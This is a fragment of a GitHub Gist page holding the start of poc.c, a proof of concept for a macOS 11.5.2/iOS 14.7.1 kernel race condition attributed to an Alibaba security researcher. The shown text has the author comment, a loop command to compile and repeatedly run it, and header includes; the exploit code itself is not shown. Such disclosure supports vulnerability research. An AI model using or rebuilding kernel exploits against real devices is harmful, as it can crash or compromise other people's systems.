Skip to content

Instantly share code, notes, and snippets.

@zachriggle
zachriggle / poc.c
Created Sep 16, 2021 — forked from UESTC-LXY/poc.c
macOS 11.5.2/iOS 14.7.1 Kernel Race Condition poc
View poc.c
/*
Written By Pan ZhenPeng(@peterpan980927) of Alibaba Security Pandora Lab
use it on macOS: cc poc.c -o poc while True; do ./poc ; done
*/
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>